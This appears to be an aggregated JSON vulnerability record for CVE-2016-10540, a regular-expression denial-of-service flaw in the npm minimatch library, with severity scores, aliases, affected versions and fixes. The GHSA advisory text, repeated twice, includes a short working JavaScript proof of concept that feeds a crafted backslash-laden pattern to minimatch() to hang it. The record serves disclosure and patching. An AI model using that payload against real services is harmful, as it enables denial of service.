{"id":"CVE-2016-10540","aliases":["AZL-44502","CLSA-2026-1773620219","CLSA-2026-1774484503","CLSA-2026-1774484504","CLSA-2026-1774484505","CLSA-2026-1774484506","CLSA-2026-1777250299","CLSA-2026-1786361876","CLSA-2026-1790604852","DEBIAN-CVE-2016-10540","EUVD-2018-0621","GHSA-hxm2-r34f-qmc5","ROOT-APP-NPM-CVE-2016-10540","UBUNTU-CVE-2016-10540","USN-4783-1"],"status":"published","title":"Regular Expression Denial of Service in minimatch","description":"Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.","severity":{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-08","score":0.01503,"percentile":0.74489,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-400"],"published":"2018-05-31T20:00:00Z","modified":"2026-11-06T08:15:05Z","fixes":[{"ecosystem":"npm","package":"minimatch","fixed_in":["3.0.2"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"minimatch","fixed_in":["0.2.14-tuxcare.1","1.0.0-tuxcare.1","0.0.4-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"node-minimatch","fixed_in":["3.0.3-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-minimatch","fixed_in":["3.0.3-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-minimatch","fixed_in":["3.0.3-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"minimatch","fixed_in":["0.3.0-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/minimatch","fixed_in":["0.3.0-root.io.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"node-minimatch","fixed_in":["0.2.12-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-minimatch","fixed_in":["1.0.0-1ubuntu0.1~esm2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.2"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"js-jquery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.5.0-4"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.14-tuxcare.0"},{"fixed":"0.2.14-tuxcare.1"}]}],"versions":["0.2.14"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.0-tuxcare.0"},{"fixed":"0.3.0-tuxcare.1"}]}],"versions":["0.3.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.5-tuxcare.0"},{"fixed":"0.0.5-tuxcare.1"}]}],"versions":["0.0.5"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.10-tuxcare.0"},{"fixed":"2.0.10-tuxcare.1"}]}],"versions":["2.0.10"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0-tuxcare.0"},{"fixed":"1.0.0-tuxcare.1"}]}],"versions":["1.0.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.4-tuxcare.0"},{"fixed":"0.0.4-tuxcare.2"}]}],"versions":["0.0.4","0.0.4-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.5-tuxcare.0"},{"fixed":"0.2.5-tuxcare.1"}]}],"versions":["0.2.5"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.0-tuxcare.0"},{"fixed":"0.4.0-tuxcare.1"}]}],"versions":["0.4.0"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"node-minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3-1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"node-minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"node-minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3-1"}]}]},{"source":"osv","ecosystem":"npm","package":"minimatch","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.0-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.0-root.io.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"node-minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.12-1ubuntu0.1~esm2"}]}],"versions":["0.2.11-1","0.2.12-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.0-1ubuntu0.1~esm2"}]}],"versions":["1.0.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"node-minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.12-1ubuntu0.1~esm2"}]}],"versions":["0.2.11-1","0.2.12-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-minimatch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.0-1ubuntu0.1~esm2"}]}],"versions":["1.0.0-1"]}],"products":[{"vendor":"hackerone","product":"minimatch node module"},{"vendor":"minimatch_project","product":"minimatch"}],"references":[{"url":"https://nodesecurity.io/advisories/118","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2016-10540","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-hxm2-r34f-qmc5","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/118","tags":["web"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2016-10540","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2016-10540","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2016-10540","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-4783-1","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2016-10540","description":"Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.","status":"published","published":"2018-05-31T20:00:00Z","modified":"2024-09-16T19:24:48.196Z","cwes":["CWE-400"],"updated_at":"2026-11-02T14:33:31.117878Z"}],"euvd":[{"id":"EUVD-2018-0621","description":"Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.","status":"published","published":"2018-05-31T20:00:00Z","modified":"2024-09-16T19:24:48Z","updated_at":"2026-11-03T00:55:23.186812Z"}],"ghsa":[{"id":"GHSA-hxm2-r34f-qmc5","title":"Regular Expression Denial of Service in minimatch","description":"Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.\n\n\n## Proof of Concept\n```js\nvar minimatch = require(“minimatch”);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n  var result = “”;\n  for (i=0; i\u003c=len; i++) {\n    result = result + chr;\n  }\n  return result;\n}\n\nvar exploit = “[!” + genstr(1000000, “\\\\”) + “A”;\n\n// minimatch exploit.\nconsole.log(“starting minimatch”);\nminimatch(“foo”, exploit);\nconsole.log(“finishing minimatch”);\n```\n\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.","status":"published","published":"2018-10-09T00:40:41Z","modified":"2023-09-11T22:02:07Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:04.447845Z"}],"nvd":[{"id":"CVE-2016-10540","description":"Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.","status":"published","published":"2018-05-31T20:29:01.457Z","modified":"2026-06-17T00:39:54.237Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-400","CWE-20"],"updated_at":"2026-11-02T14:03:39.176887Z"}],"osv":[{"id":"AZL-44502","title":"CVE-2016-10540 affecting package js-jquery 3.5.0-4","description":"Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.","status":"published","published":"2018-05-31T20:29:01Z","modified":"2026-11-05T05:36:30Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-05T16:41:20.107976Z"},{"id":"CVE-2016-10540","description":"Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.","status":"published","published":"2018-05-31T20:29:01.457Z","modified":"2026-10-24T10:30:45.798722959Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:44:01.531338Z"},{"id":"DEBIAN-CVE-2016-10540","description":"Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.","status":"published","published":"2018-05-31T20:29:01.457Z","modified":"2026-09-22T07:01:21.647005261Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:27.323751Z"},{"id":"GHSA-hxm2-r34f-qmc5","title":"Regular Expression Denial of Service in minimatch","description":"Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.\n\n\n## Proof of Concept\n```js\nvar minimatch = require(“minimatch”);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n  var result = “”;\n  for (i=0; i\u003c=len; i++) {\n    result = result + chr;\n  }\n  return result;\n}\n\nvar exploit = “[!” + genstr(1000000, “\\\\”) + “A”;\n\n// minimatch exploit.\nconsole.log(“starting minimatch”);\nminimatch(“foo”, exploit);\nconsole.log(“finishing minimatch”);\n```\n\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.","status":"published","published":"2018-10-09T00:40:41Z","modified":"2023-11-08T03:58:11.455886Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:49.621585Z"},{"id":"ROOT-APP-NPM-CVE-2016-10540","title":"CVE-2016-10540 in minimatch - Patched by Root","description":"Root has patched CVE-2016-10540 in the minimatch package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-11-06T07:50:32Z","modified":"2026-11-06T08:15:05.672820951Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-06T08:36:29.497632Z"},{"id":"UBUNTU-CVE-2016-10540","description":"Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.","status":"published","published":"2018-05-31T20:29:00Z","modified":"2026-02-04T02:24:25.474465Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:54:11.492576Z"},{"id":"CLSA-2026-1773620219","title":"TuxCare security update for minimatch (1 CVE)","description":"TuxCare rebuilt minimatch to address 1 CVE. Fixed in 0.2.14-tuxcare.1.","status":"published","published":"2026-08-04T14:52:13Z","modified":"2026-10-22T14:31:00.61663121Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774484503","title":"TuxCare security update for minimatch (2 CVEs)","description":"TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.3.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:15Z","modified":"2026-10-22T14:30:59.641438887Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774484504","title":"TuxCare security update for minimatch (2 CVEs)","description":"TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.0.5-tuxcare.1.","status":"published","published":"2026-08-04T14:52:15Z","modified":"2026-10-15T09:47:05.286840726Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774484505","title":"TuxCare security update for minimatch (2 CVEs)","description":"TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 2.0.10-tuxcare.1.","status":"published","published":"2026-08-04T14:52:15Z","modified":"2026-10-15T09:47:05.932499235Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774484506","title":"TuxCare security update for minimatch (1 CVE)","description":"TuxCare rebuilt minimatch to address 1 CVE. Fixed in 1.0.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:15Z","modified":"2026-10-22T14:31:00.194663679Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1777250299","title":"TuxCare security update for minimatch (1 CVE)","description":"TuxCare rebuilt minimatch to address 1 CVE. Fixed in 0.0.4-tuxcare.2.","status":"published","published":"2026-08-04T14:52:28Z","modified":"2026-10-15T09:45:47.911063524Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1786361876","title":"TuxCare security update for minimatch (4 CVEs)","description":"TuxCare rebuilt minimatch to address 4 CVEs. Fixed in 0.2.5-tuxcare.1.","status":"published","published":"2026-08-10T11:37:56Z","modified":"2026-11-05T13:28:26.176260232Z","updated_at":"2026-11-05T16:37:45.64821Z"},{"id":"CLSA-2026-1790604852","title":"TuxCare security update for minimatch (2 CVEs)","description":"TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.4.0-tuxcare.1.","status":"published","published":"2026-09-28T14:14:12Z","modified":"2026-10-15T09:48:03.102884033Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"USN-4783-1","title":"node-minimatch vulnerability","description":"It was discovered that minimatch did not perform necessary bounds checking\non regular expressions. An attacker could use this vulnerability to cause a\ndenial of service.\n","status":"published","published":"2021-03-15T20:59:21Z","modified":"2026-06-29T13:48:20.244432282Z","updated_at":"2026-11-02T16:58:15.159055Z"}]}}
